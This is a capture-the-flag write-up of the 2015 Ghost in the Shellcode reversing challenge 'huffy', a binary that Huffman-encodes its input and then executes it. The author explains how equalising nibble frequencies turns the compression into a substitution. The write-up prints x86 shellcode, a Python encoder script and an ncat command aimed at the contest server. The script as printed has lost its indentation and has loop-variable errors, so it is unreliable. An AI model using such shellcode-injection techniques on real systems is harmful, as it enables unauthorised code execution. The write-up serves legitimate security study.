Ghost in the Shellcode 2015: Reversing 300 "huffy"
Gathering Information
Find the key!
File: File
Server: huffy.2015.ghostintheshellcode.com:8143
This was the only “official” reversing challenge in the 2015 edition of the Ghost in the Shellcode CTF. It was made available several hours before the end of the competition and worth 300 juicy points.
Executing the binary and entering some random text yields a lot of output:
$ ./huffy
CWD: ~/CTF/2015_01_GitS/rev300_huffy
AAAA
Nibble Frequency
------ ---------
0 0.100000
1 0.400000
2 0.000000
3 0.000000
4 0.400000
5 0.000000
6 0.000000
7 0.000000
8 0.000000
9 0.000000
a 0.100000
b 0.000000
c 0.000000
d 0.000000
e 0.000000
f 0.000000
Read 5 bytes
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.100000
Two lowest frequencies: 0.100000 and 0.100000
Two lowest frequencies: 0.200000 and 0.200000
Two lowest frequencies: 0.400000 and 0.400000
Two lowest frequencies: 0.400000 and 0.800000
Breaking!
0 --0-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
1 --0-- 0x804c3c0
2 --0-- 0x804c258 --0-- 0x804c270 --0-- 0x804c288 --0-- 0x804c2a0 --0-- 0x804c2b8 --0-- 0x804c2d0 --0-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
3 --1-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
4 --1-- 0x804c3a8 --1-- 0x804c3c0
5 --1-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
6 --1-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
7 --1-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
8 --1-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
9 --1-- 0x804c2d0 --0-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
a --1-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
b --1-- 0x804c2b8 --0-- 0x804c2d0 --0-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
c --1-- 0x804c2a0 --0-- 0x804c2b8 --0-- 0x804c2d0 --0-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
d --1-- 0x804c288 --0-- 0x804c2a0 --0-- 0x804c2b8 --0-- 0x804c2d0 --0-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
e --1-- 0x804c270 --0-- 0x804c288 --0-- 0x804c2a0 --0-- 0x804c2b8 --0-- 0x804c2d0 --0-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
f --1-- 0x804c258 --0-- 0x804c270 --0-- 0x804c288 --0-- 0x804c2a0 --0-- 0x804c2b8 --0-- 0x804c2d0 --0-- 0x804c2e8 --0-- 0x804c300 --0-- 0x804c318 --0-- 0x804c330 --0-- 0x804c348 --0-- 0x804c360 --1-- 0x804c378 --1-- 0x804c390 --0-- 0x804c3a8 --1-- 0x804c3c0
Encoding input...
ASCII Encoded: 110110110110101010111
Binary Encoded:
�j
Executing encoded input...
[1] 10542 segmentation fault (core dumped) ./huffy
Okay, let’s see what is going on here. It prints out the current working dir and
asks for input. After being fed with data and pressing C-d to signal a EOF,
the binary performs a frequency analysis on the nibbles of the input and prints
out the result. Indeed, we find (including the “invisible” newline character)
echo "AAAA" | hd
00000000 41 41 41 41 0a |AAAA.|
00000005
\[
P(X = ‘0’) = \frac{1}{10} = 0.1 \
P(X = ‘1’) = \frac{4}{10} = 0.4 \
P(X = ‘4’) = \frac{4}{10} = 0.4 \
P(X = ‘a’) = \frac{1}{10} = 0.1 \
\]
which is consistent with the relative frequencies displayed by the program.
Afterwards we see that the two lowest frequencies are added iteratively to each
other to construct a tree, which is eventually printed out. Sounds familiar?
It should, together with the name of the challenge huffy it becomes obvious
that this is a straightforward construction of a huffman tree. Thus, the tree
not only gives us the heap addresses of the allocated tree nodes but also the
bit sequences each input nibble will be substituted with. Note that the bit
sequences are inverted as they are pointing from the leaf towards the root of
the tree – looking at the binary representation (gracefully given to us on
stderr) we can see the bit sequence our input AAAA\n is transformed to:
echo "AAAA" | ./huffy 2>&1 | hd | tail -n 6
00000e30 31 31 30 31 31 30 31 31 30 31 31 30 31 30 31 30 |1101101101101010|
00000e40 31 30 31 31 31 0a 42 69 6e 61 72 79 20 45 6e 63 |10111.Binary Enc|
00000e50 6f 64 65 64 3a 0a db 6a 17 0a 45 78 65 63 75 74 |oded:..j..Execut|
00000e60 69 6e 67 20 65 6e 63 6f 64 65 64 20 69 6e 70 75 |ing encoded inpu|
00000e70 74 2e 2e 2e 0a |t....|
00000e75
Using the tree from above substituting each nibble by its associated bit sequence, we find:
'AAAA\n' = 0x41 0x41 0x41 0x41 0x0a
= 0x4 0x1 0x4 0x1 0x4 0x1 0x4 0x1 0x0 0xa
= 11 0 11 0 11 0 11 0 1010 10111
= 11011011 01101010 10111
= 0xdb 0x6a 0x17
After compressing the input the program prints Executing encoded input....
This probably is the reason why it segfauls afterwards (the byte
sequence db 6a 17 does not form valid instructions). Verifying with gdb tells
us that this assumption is correct.
$ gdb ./huffy
gdb-peda$ r >/dev/null
Starting program: ~/CTF/2015_01_GitS/rev300_huffy/huffy >/dev/null
AAAA
�j
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf7fd5000 --> 0x176adb
EBX: 0xf7fac960 --> 0xfbad2887
ECX: 0xf7fad878 --> 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x804c3ee --> 0x0
EBP: 0xffffd088 --> 0x0
ESP: 0xffffc80c --> 0x804902e (<main+502>: mov eax,ds:0x804b080)
EIP: 0xf7fd5000 --> 0x176adb
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xf7fd5000: fld TBYTE PTR [edx+0x17]
0xf7fd5003: add BYTE PTR [eax],al
0xf7fd5005: add BYTE PTR [eax],al
0xf7fd5007: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffc80c --> 0x804902e (<main+502>: mov eax,ds:0x804b080)
0004| 0xffffc810 --> 0xf7facac0 --> 0xfbad2884
0008| 0xffffc814 --> 0x1
0012| 0xffffc818 --> 0x3
0016| 0xffffc81c --> 0xf7fac960 --> 0xfbad2887
0020| 0xffffc820 --> 0x0
0024| 0xffffc824 --> 0x0
0028| 0xffffc828 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf7fd5000 in ?? ()
gdb-peda$ x/20xb $pc
0xf7fd5000: 0xdb 0x6a 0x17 0x00 0x00 0x00 0x00 0x00
0xf7fd5008: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fd5010: 0x00 0x00 0x00 0x00
To summarize: We feed payload into the program which is encoded using a huffman compression which then is executed by the program. As we also have a remote address of the binary this means we get a free shell as long as we are able to find an input string which gets compressed to shellcode (kinda weird, isn’t it?).
Disabling the Compression
Let’s recap a little bit of basic information theory: Shannon’s coding theorem tells us that a lower bound for any compression algorithm is the entropy of the input source in bits per symbol. We want the hufman compression to have as least impact on our input as possible such that it doesn’t damage the shellcode we’re feeding into the binary. To make huffman coding performing as bad as possible we thus need to maximize the entropy of the source. In order to achieve this, basic math tells us that each input symbol needs to be equally likely. The input symbols are the nibbles of the original data given to the binary. Let’s see what happens if we throw such a string into the binary:
$ echo -n "\x01\x23\x45\x67\x89\xab\xcd\xef" | ./huffy
CWD: ~/CTF/2015_01_GitS/rev300_huffy
Nibble Frequency
------ ---------
0 0.062500
1 0.062500
2 0.062500
3 0.062500
4 0.062500
5 0.062500
6 0.062500
7 0.062500
8 0.062500
9 0.062500
a 0.062500
b 0.062500
c 0.062500
d 0.062500
e 0.062500
f 0.062500
Read 8 bytes
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.062500 and 0.062500
Two lowest frequencies: 0.125000 and 0.125000
Two lowest frequencies: 0.125000 and 0.125000
Two lowest frequencies: 0.125000 and 0.125000
Two lowest frequencies: 0.125000 and 0.125000
Two lowest frequencies: 0.250000 and 0.250000
Two lowest frequencies: 0.250000 and 0.250000
Two lowest frequencies: 0.500000 and 0.500000
Breaking!
0 --0--> 0x9043258 --0--> 0x9043318 --0--> 0x9043378 --0--> 0x90433a8
1 --0--> 0x9043270 --0--> 0x9043330 --0--> 0x9043390 --1--> 0x90433a8
2 --0--> 0x9043288 --0--> 0x9043348 --1--> 0x9043390 --1--> 0x90433a8
3 --0--> 0x90432a0 --0--> 0x9043360 --1--> 0x9043378 --0--> 0x90433a8
4 --0--> 0x90432b8 --1--> 0x9043360 --1--> 0x9043378 --0--> 0x90433a8
5 --0--> 0x90432d0 --1--> 0x9043348 --1--> 0x9043390 --1--> 0x90433a8
6 --0--> 0x90432e8 --1--> 0x9043330 --0--> 0x9043390 --1--> 0x90433a8
7 --0--> 0x9043300 --1--> 0x9043318 --0--> 0x9043378 --0--> 0x90433a8
8 --1--> 0x9043300 --1--> 0x9043318 --0--> 0x9043378 --0--> 0x90433a8
9 --1--> 0x90432e8 --1--> 0x9043330 --0--> 0x9043390 --1--> 0x90433a8
a --1--> 0x90432d0 --1--> 0x9043348 --1--> 0x9043390 --1--> 0x90433a8
b --1--> 0x90432b8 --1--> 0x9043360 --1--> 0x9043378 --0--> 0x90433a8
c --1--> 0x90432a0 --0--> 0x9043360 --1--> 0x9043378 --0--> 0x90433a8
d --1--> 0x9043288 --0--> 0x9043348 --1--> 0x9043390 --1--> 0x90433a8
e --1--> 0x9043270 --0--> 0x9043330 --0--> 0x9043390 --1--> 0x90433a8
f --1--> 0x9043258 --0--> 0x9043318 --0--> 0x9043378 --0--> 0x90433a8
Encoding input...
ASCII Encoded: 0000100011000100011011101010001000111011111101110101110110010001
Binary Encoded:
�n�;�]�
Executing encoded input...
[1] 10361 done echo -n "\x01\x23\x45\x67\x89\xab\xcd\xef" |
10362 segmentation fault (core dumped) ./huffy
Awesome! The algorithm is unable to compress our input any further, effectively turning the huffman compression into a simple substitution. Inverting the bits (remember that the list above is starting at the leaves) we obtain the following substitution table:
0 -> 0
1 -> 8
2 -> c
3 -> 4
4 -> 6
5 -> e
6 -> a
7 -> 2
8 -> 3
9 -> b
a -> f
b -> 7
c -> 5
d -> d
e -> 9
f -> 1
This makes the rest pretty easy: Take the shellcode, append it such that all nibbles are equally likely in the whole input source and do the inverse substituation. We can write a small python script which does that for us:
#!/usr/bin/python
import sys
import binascii
# Simple x86 "cat flag.txt" shellcode
s = "eb37b0050fb6c05b31c9884b08cd8089c3b0030fb6c031d2b68029d489e1cd8089c2b0040fb6c0b3010fb6db89e1cd80b0010fb6c031dbcd80e8c4ffffff666c61672e74787441"
c = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
i = 0
m = 0
for i in range(len(s)):
c[int(s[i], 16)] += 1
for i in range(len(c)):
if c[i] > m:
m = c[i]
for i in range(len(c)):
h = "%x" % i
s += h * (m - c[i])
for c in s:
if i % 2 == 0: sys.stdout.write("\\x")
if c == "0": sys.stdout.write("0")
if c == "8": sys.stdout.write("1")
if c == "4": sys.stdout.write("3")
if c == "c": sys.stdout.write("2")
if c == "2": sys.stdout.write("7")
if c == "a": sys.stdout.write("6")
if c == "6": sys.stdout.write("4")
if c == "e": sys.stdout.write("5")
if c == "9": sys.stdout.write("e")
if c == "5": sys.stdout.write("c")
if c == "d": sys.stdout.write("d")
if c == "3": sys.stdout.write("8")
if c == "b": sys.stdout.write("9")
if c == "7": sys.stdout.write("b")
if c == "f": sys.stdout.write("a")
if c == "1": sys.stdout.write("f")
The rest is a matter of
$ ./pwn.py | ncat huffy.2015.ghostintheshellcode.com 8143
which gives us a flag worth 300 points.
As a summary: We’ve just solved a reversing binary without ever having to look at the disassembly itself. The debug prints make it really obvious how to solve the task. On the other hand, playing a WAV file on an oscilloscope (as demanded in a different challenge) was considered to be worth only 200 points – not very balanced.